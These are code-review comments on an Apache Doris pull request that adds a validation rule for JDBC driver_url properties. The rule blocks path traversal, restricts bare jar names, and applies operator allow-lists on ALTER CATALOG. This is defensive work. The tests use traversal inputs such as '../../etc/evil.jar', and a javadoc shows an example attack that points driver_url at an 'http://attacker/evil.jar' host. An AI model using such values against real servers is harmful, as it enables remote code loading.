CalvinKirs commented on code in PR #68129: URL: https://github.com/apache/doris/pull/68129#discussion_r4035131235
########## fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java: ########## @@ -0,0 +1,102 @@ +// Licensed to the Apache Software Foundation (ASF) under one +// or more contributor license agreements. See the NOTICE file +// distributed with this work for additional information +// regarding copyright ownership. The ASF licenses this file +// to you under the Apache License, Version 2.0 (the +// "License"); you may not use this file except in compliance +// with the License. You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, +// software distributed under the License is distributed on an +// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +// KIND, either express or implied. See the License for the +// specific language governing permissions and limitations +// under the License. + +package org.apache.doris.foundation.security; + +import java.net.URI; +import java.net.URISyntaxException; +import java.util.regex.Pattern; + +/** + * The mandatory, non-configurable {@code driver_url} security rule, shared by every connector that + * loads a JDBC driver jar into the FE JVM. + * + * <p>Three catalog types reach the same {@code URLClassLoader} + {@code Class.forName(name, true, loader)} + * sink from a user-supplied catalog property, so they must share one rule rather than each re-deriving it: + * the {@code jdbc} catalog ({@code driver_url}), the Iceberg JDBC catalog + * ({@code iceberg.jdbc.driver_url}) and the Paimon JDBC catalog + * ({@code paimon.jdbc.driver_url} / {@code jdbc.driver_url}). This class is that single source of truth; + * it lives in fe-foundation because that is the one module every properties holder already depends on. + * + * <p>The rule cannot be turned off: + * <ul> + * <li>any {@code ..} path-traversal segment is rejected, for {@code file://} and {@code http(s)} alike, + * checked on the percent-decoded path so {@code %2e%2e} cannot slip past;</li> + * <li>a scheme-less driver_url must be a bare jar file name matching {@code [A-Za-z0-9._-]+.jar} + * (no directories, no special characters), which is then resolved under the connector's drivers + * directory.</li> + * </ul> + * Whether a remote/absolute URL is allowed <em>at all</em> remains governed by the fe.conf-only + * {@code jdbc_driver_secure_path} / {@code jdbc_driver_url_white_list} configs, which the engine applies + * separately; this rule only forbids traversal and enforces the bare-name charset. + * + * <p><b>Where callers invoke it: statement-time validation only.</b> The call sites are the property + * holders' create-time-only hooks ({@code JdbcCatalogProperties.checkCreateTimeOnlyRules} and the + * iceberg/paimon JDBC metastore holders' {@code validate()}), which the engine reaches from the + * user-facing CREATE and ALTER CATALOG paths and never from edit-log replay or a catalog rebuild. + * That placement is load-bearing: a catalog created before this rule existed must keep coming back + * after an FE restart, so the rule must never run from a holder's {@code of()}. + * + * <p>Throws {@link IllegalArgumentException} so the engine wraps it into a {@code DdlException} + * (and, on ALTER, triggers the property rollback). + */ +public final class JdbcDriverUrlSecurity { + + // A scheme-less driver_url must be a plain jar file name: letters, digits, dot, underscore, hyphen. + // This intentionally forbids any path separator, so it can never escape the drivers directory. + private static final Pattern SAFE_DRIVER_FILE_NAME = Pattern.compile("^[A-Za-z0-9._-]+\\.jar$"); + + private JdbcDriverUrlSecurity() { + } + + /** + * Applies the rule to a raw, alias-resolved {@code driver_url}. A null/empty value means "use the + * engine-provided driver" and is accepted; every other value must satisfy the rule above. + */ + public static void check(String driverUrl) { Review Comment: Byte-for-byte the rule moved out of `JdbcDorisConnector.checkDriverUrlSecurityRule` (diffed line by line, including the `%2e%2e` decode and the backslash normalization) - no semantic change hides in the move. It lives in fe-foundation because that is the only module all three property holders already depend on (`fe-connector-jdbc` and the two metastore modules do not share any fe-connector module), so no pom changes and no plugin-API surface change were needed. ########## fe/fe-connector/fe-connector-metastore-iceberg/src/main/java/org/apache/doris/connector/metastore/iceberg/jdbc/IcebergJdbcMetaStoreProperties.java: ########## @@ -141,5 +142,10 @@ public void validate() { throw new IllegalArgumentException("Property iceberg.jdbc.catalog_name is required."); } requireWarehouse(); + // Mandatory, non-configurable security rule for the jar this flavor loads into the FE JVM, + // shared with the jdbc / paimon-jdbc catalogs. validate() is reached only from the CREATE / + // ALTER statement paths (checkCreateTimeOnlyRules -> bindForType), never from a catalog + // rebuild, which is what keeps pre-rule catalogs loadable after an FE restart. + JdbcDriverUrlSecurity.check(driverUrl); Review Comment: Load-bearing placement: `validate()` is reachable only through `IcebergCatalogProperties.checkCreateTimeOnlyRules` (`bindForType(flavor, ...).validate()`), which only the CREATE/ALTER statement paths call - verified by auditing every `bindForType`/`of()` call site in the tree; the connector build, scan and factory paths bind without validating. That is what makes this one line cover both DDL statements while a pre-rule catalog still rebuilds after an FE restart. The flavor gating is inherited: `bindForType` selects this holder only for `iceberg.catalog.type=jdbc` (lowercased at bind), so a stray driver_url on a REST/HMS catalog is never checked. ########## fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcCatalogPropertiesTest.java: ########## @@ -268,4 +268,28 @@ void toStringMasksThePassword() { Assertions.assertFalse(rendered.contains("secret-p"), "got: " + rendered); Assertions.assertTrue(rendered.contains("password=***"), "got: " + rendered); } + + // ---- driver_url mandatory security rule: statement-side rejects, of()-side must not ---- + + @Test + void checkCreateTimeOnlyRulesRejectsTraversalDriverUrl() { + // MUTATION: drop the JdbcDriverUrlSecurity.check call from checkCreateTimeOnlyRules -> red. + Assertions.assertThrows(IllegalArgumentException.class, + () -> JdbcCatalogProperties.of( + with(JdbcCatalogProperties.DRIVER_URL, "file:///opt/a/../../etc/evil.jar")) + .checkCreateTimeOnlyRules()); + Assertions.assertThrows(IllegalArgumentException.class, + () -> JdbcCatalogProperties.of( + with(JdbcCatalogProperties.DRIVER_URL, "sub/dir/evil.jar")) + .checkCreateTimeOnlyRules()); + } + + @Test + void ofToleratesPreRuleDriverUrl() { Review Comment: This is the compatibility red line of the whole PR, pinned as a test: `of()` runs on every catalog rebuild including edit-log replay, so the rule must never move into it - a catalog created before the rule existed with a value the rule now rejects has to keep coming back after an FE restart. Moving the check from `checkCreateTimeOnlyRules` into `of()` turns this red. ########## fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java: ########## @@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate( } catch (IllegalArgumentException e) { throw new DdlException(e.getMessage(), e); } + checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties); ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules", null)); return true; } + /** + * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path} / + * {@code jdbc_driver_url_white_list}) to every driver_url these properties would make the connector + * load into the FE JVM. + * + * <p>On CREATE the same gate is applied inside the connector's {@code preCreateValidation} (through + * {@link org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}), + * which ALTER CATALOG never reaches — it validates through {@code validatePropertiesBeforeUpdate} + * alone. Without this call an operator who restricts {@code jdbc_driver_secure_path} would have that + * restriction enforced at CREATE and then bypassed by a follow-up + * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" = "http://attacker/evil.jar";)}, which + * {@code resetToUninitialized} makes effective on the next metadata access. + * + * <p>Deliberately NOT applied on replay: this runs from the {@code !isReplay} ALTER path only, so an + * existing catalog whose driver_url predates a since-tightened allow-list keeps loading and FE + * startup / follower replay can never be blocked by it. + */ + private void checkDriverUrlsAgainstOperatorGate(Map<String, String> candidate, Review Comment: Two review findings shaped this method. (1) The touched-keys guard: `getFullDriverUrl` is not a pure check - for a bare jar name it does file-existence probing and, in cloud mode, a download (`checkAndReturnDefaultDriverUrl`), and this whole method runs under `CatalogMgr`'s global write lock (`alterCatalogProps` takes it around `applyAlterCatalogProps`). Without the guard, every unrelated ALTER would re-resolve the stored driver_url: IO under the lock, and a hard failure once the operator tightens `jdbc_driver_secure_path` after the fact. A stored value was already gated at its own CREATE/ALTER time. (2) `catch (Exception)` rather than `IllegalArgumentException`: `checkAndReturnDefaultDriverUrl` throws bare `RuntimeException` for a missing or undownloadable jar (JdbcResource.java, the two throws in that method), which the narrower catch would leak past this hook's DdlException contract. The in-loop `JdbcDriverUrlSecurity.check` is the engine-side fallback: it keeps the mandatory r ule alive for a degraded catalog whose plugin is absent (provider validation silently no-ops there) and under `jdbc_driver_secure_path=*`, where `getFullDriverUrl` accepts everything. ########## fe/fe-connector/fe-connector-jdbc/src/main/java/org/apache/doris/connector/jdbc/JdbcCatalogProperties.java: ########## @@ -240,6 +241,12 @@ public JdbcCatalogProperties checkCreateTimeOnlyRules() { .require(driverClass, "Required property '" + DRIVER_CLASS + "' is missing") .validate(); + // Mandatory, non-configurable security rule (no '..' segment; a bare name must be a plain + // *.jar file name), shared with the iceberg-jdbc / paimon-jdbc catalogs. It lives in this + // statement-time hook and NOT in of(): a catalog created before the rule existed must keep + // coming back after an FE restart (see class javadoc). + JdbcDriverUrlSecurity.check(driverUrl); Review Comment: For the jdbc catalog the statement-time hook is `checkCreateTimeOnlyRules` itself (no metastore holder). ALTER reaches it through the SPI-default `validatePropertiesForUpdate`, which merges and falls back to `validateProperties`. `getDriverUrl()` is read after the `jdbc.` prefix strip, so both spellings funnel into this single check. ########## fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java: ########## @@ -250,10 +253,108 @@ public boolean validatePropertiesBeforeUpdate( } catch (IllegalArgumentException e) { throw new DdlException(e.getMessage(), e); } + checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties); ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules", null)); return true; } + /** + * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path} / + * {@code jdbc_driver_url_white_list}) to every driver_url these properties would make the connector + * load into the FE JVM. + * + * <p>On CREATE the same gate is applied inside the connector's {@code preCreateValidation} (through + * {@link org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}), + * which ALTER CATALOG never reaches — it validates through {@code validatePropertiesBeforeUpdate} + * alone. Without this call an operator who restricts {@code jdbc_driver_secure_path} would have that + * restriction enforced at CREATE and then bypassed by a follow-up + * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" = "http://attacker/evil.jar";)}, which + * {@code resetToUninitialized} makes effective on the next metadata access. + * + * <p>Deliberately NOT applied on replay: this runs from the {@code !isReplay} ALTER path only, so an + * existing catalog whose driver_url predates a since-tightened allow-list keeps loading and FE + * startup / follower replay can never be blocked by it. + */ + private void checkDriverUrlsAgainstOperatorGate(Map<String, String> candidate, + Map<String, String> updatedProperties) throws DdlException { + DriverUrlKeys keys = driverUrlKeysOf(getType()); + if (keys == null) { + return; + } + // Only an ALTER that touches a driver-url key (or the flavor key that can bring a stored one + // to life) can repoint the loaded jar; a stored value was gated at its own CREATE/ALTER time. + // Re-resolving an untouched value here would also re-run getFullDriverUrl's file-existence / + // cloud-download side effects under CatalogMgr's write lock on every unrelated ALTER, and + // would let a since-tightened allow-list fail ALTERs that change nothing about the jar. + boolean touched = keys.urlKeys.stream().anyMatch(updatedProperties::containsKey) + || (keys.flavorKey != null && updatedProperties.containsKey(keys.flavorKey)); + if (!touched) { + return; + } + if (keys.flavorKey != null + && !"jdbc".equalsIgnoreCase(candidate.getOrDefault(keys.flavorKey, ""))) { + // A driver_url on a REST/HMS/filesystem catalog stays the dead config it always was. + return; + } + for (String key : keys.urlKeys) { + String driverUrl = candidate.get(key); + if (driverUrl == null || driverUrl.trim().isEmpty()) { + continue; + } + try { + // The mandatory rule normally runs inside the connector's property holder; repeated + // here so a degraded catalog whose plugin is absent (provider validation silently + // no-ops) still cannot be repointed at a traversal / non-bare-name jar, and so the + // rule holds even under jdbc_driver_secure_path=* (which getFullDriverUrl accepts + // wholesale). + JdbcDriverUrlSecurity.check(driverUrl); + JdbcResource.getFullDriverUrl(driverUrl); + } catch (Exception e) { + // getFullDriverUrl throws IllegalArgumentException for policy rejections but also bare + // RuntimeException for a missing/undownloadable bare-name jar; every failure must become + // the DdlException this validation hook promises. + throw new DdlException(e.getMessage(), e); + } + } + } + + /** One row of the driver-jar key table: which properties name the jar, live under which flavor key. */ + private static final class DriverUrlKeys { + /** The properties whose value the connector hands to a class loader, documented aliases included. */ + final List<String> urlKeys; + /** The key whose candidate value must be "jdbc" for the urlKeys to be live; null = always live. */ + final String flavorKey; + + DriverUrlKeys(String flavorKey, String... urlKeys) { + this.flavorKey = flavorKey; + this.urlKeys = Arrays.asList(urlKeys); + } + } + + /** + * The driver-jar properties of the three jdbc-flavored catalog types, spelled out here because the + * fe.conf policy is the engine's to apply while the keys belong to the connectors, and widening the + * plugin SPI for three constants is not worth a plugin API major bump. The keys are the user-facing + * property names (with their documented aliases), which are wire-stable. This single table drives + * BOTH halves of the gate — the trigger set (urlKeys plus flavorKey: the changes that can repoint + * the loaded jar) and the values that get checked — so the two can never drift apart. Owners: + * JdbcCatalogProperties, IcebergJdbcMetaStoreProperties, PaimonJdbcMetaStoreProperties. A new + * consumer of a jdbc-flavored driver_url adds its row here and nowhere else (see the "Remote + * Artifacts and Dynamic Code Loading" section of AGENTS.md). + */ + private static DriverUrlKeys driverUrlKeysOf(String catalogType) { Review Comment: Single table by design: an earlier revision had separate trigger-key and checked-key tables, and a reviewer pass showed they could silently drift (a key added to one but not the other would make the gate never fire for it, with no error). Both halves now derive from this one place. The keys were compared letter-for-letter against the owning holders' `@ConnectorProperty` declarations; they are user-facing, wire-stable property names, which is also why hardcoding three rows here was preferred over widening the connector plugin SPI (and bumping the plugin API major) for three constants. -- This is an automated message from the Apache Git Service. To respond to the message, please log on to GitHub and use the URL above to go to the specific comment. To unsubscribe, e-mail: [email protected] For queries about this service, please contact Infrastructure at: [email protected] --------------------------------------------------------------------- To unsubscribe, e-mail: [email protected] For additional commands, e-mail: [email protected]
